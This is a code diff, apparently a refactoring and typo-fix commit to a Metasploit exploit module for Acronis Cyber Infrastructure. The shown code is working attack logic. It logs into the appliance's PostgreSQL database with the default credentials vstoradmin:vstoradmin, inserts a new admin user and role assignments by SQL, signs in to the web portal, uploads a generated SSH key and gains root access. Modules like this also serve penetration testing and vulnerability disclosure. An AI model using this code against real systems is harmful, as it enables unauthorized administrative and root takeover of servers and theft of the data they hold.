@@ -29,7 +29,7 @@ def initialize(info = {})
29
29
cloud-native applications in production environments.
30
30
This module exploits a default password vulnerability in ACI which allow an attacker to access
31
31
the ACI PostgreSQL database and gain administrative access to the ACI Web Portal.
32
- This opens the door for the attacker to upload ssh keys that enables root acces
32
+ This opens the door for the attacker to upload SSH keys that enables root access
33
33
to the appliance/server. This attack can be remotely executed over the WAN as long as the
34
34
PostgreSQL and SSH services are exposed to the outside world.
35
35
ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69,
@@ -121,8 +121,9 @@ def run_query(query)
121
121
end
122
122
end
123
123
124
- def add_admin_user ( username , userid , password )
125
124
# add an admin user to the Acronis PostgreSQL DB (keystone) using default credentials (vstoradmin:vstoradmin)
125
+ def add_admin_user ( username , userid , password )
126
+
126
127
vprint_status ( "Creating admin user #{ username } with userid #{ userid } " )
127
128
128
129
# add new admin user to the user table
@@ -154,7 +155,7 @@ def add_admin_user(username, userid, password)
154
155
vprint_status ( "Assigning the admin roles: #{ id_project_role } and #{ id_admin_role } " )
155
156
return false unless run_query ( "insert into \" assignment\" values('UserProject',\' #{ userid } \' ,\' #{ id_project_role } \' ,\' #{ id_admin_role } \' ,'F')" )
156
157
157
- vprint_status ( "Succesfully created admin user #{ username } with password #{ password } to access the Acronis Admin Portal." )
158
+ vprint_status ( "Successfully created admin user #{ username } with password #{ password } to access the Acronis Admin Portal." )
158
159
true
159
160
end
160
161
@@ -180,8 +181,8 @@ def do_sshlogin(ip, user, ssh_opts)
180
181
return true
181
182
end
182
183
184
+ # Login at the Acronis Cyber Infrastructure web portal
183
185
def aci_login ( name , pwd )
184
- # Login at the Acronis Cyber Infrastructure web portal
185
186
post_data = {
186
187
username : name . to_s ,
187
188
password : pwd . to_s
@@ -196,13 +197,11 @@ def aci_login(name, pwd)
196
197
'uri' => normalize_uri ( target_uri . path , 'api' , 'v2' , 'login' ) ,
197
198
'data' => post_data . to_s
198
199
} )
199
- return true if res &.code == 200
200
-
201
- false
200
+ return res &.code == 200
202
201
end
203
202
203
+ # Upload the SSH public key at the Acronis Cyber Infrastructure web portal
204
204
def upload_sshkey ( sshkey )
205
- # Upload the SSH public key at the Acronis Cyber Infrastructure web portal
206
205
post_data = {
207
206
key : sshkey . to_s ,
208
207
event :
@@ -236,9 +235,8 @@ def execute_command(cmd, _opts = {})
236
235
@timeout = true
237
236
end
238
237
238
+ # Return ACI version-release or nil if not found
239
239
def get_aci_version
240
- # Return ACI version-release or nil if not found
241
- version_release = nil
242
240
res = send_request_cgi ( {
243
241
'method' => 'GET' ,
244
242
'ctype' => 'application/json' ,
@@ -247,16 +245,21 @@ def get_aci_version
247
245
} ,
248
246
'uri' => normalize_uri ( target_uri . path , 'api' , 'v2' , 'about' )
249
247
} )
250
- if res &.code == 200 && res . body . include? ( 'storage-release' )
251
- # parse json response and get the version
252
- res_json = res . get_json_document
253
- unless res_json . blank?
254
- version = res_json [ 'storage-release' ] [ 'version' ]
255
- release = res_json [ 'storage-release' ] [ 'release' ]
256
- version_release = Rex ::Version . new ( "#{ version } -#{ release } " . gsub ( /[[:space:]]/ , '' ) ) unless version . nil? || release . nil?
257
- end
258
- return version_release
259
- end
248
+
249
+ return unless res &.code == 200
250
+ return unless res . body . include? ( 'storage-release' )
251
+
252
+ # parse json response and get the version
253
+ res_json = res . get_json_document
254
+ return if res_json . blank?
255
+
256
+ version = res_json [ 'storage-release' ] [ 'version' ]
257
+ return if version . nil?
258
+
259
+ release = res_json [ 'storage-release' ] [ 'release' ]
260
+ return if release . nil?
261
+
262
+ Rex ::Version . new ( "#{ version } -#{ release } " . gsub ( /[[:space:]]/ , '' ) )
260
263
end
261
264
262
265
def check
@@ -293,7 +296,7 @@ def exploit
293
296
294
297
# create SSH key pair
295
298
print_status ( 'Creating SSH private and public key.' )
296
- k = SSHKey . generate ( type : 'RSA' , bits : 2048 )
299
+ k = SSHKey . generate
297
300
vprint_status ( k . private_key )
298
301
vprint_status ( "#{ k . ssh_public_key } root" )
299
302
0 commit comments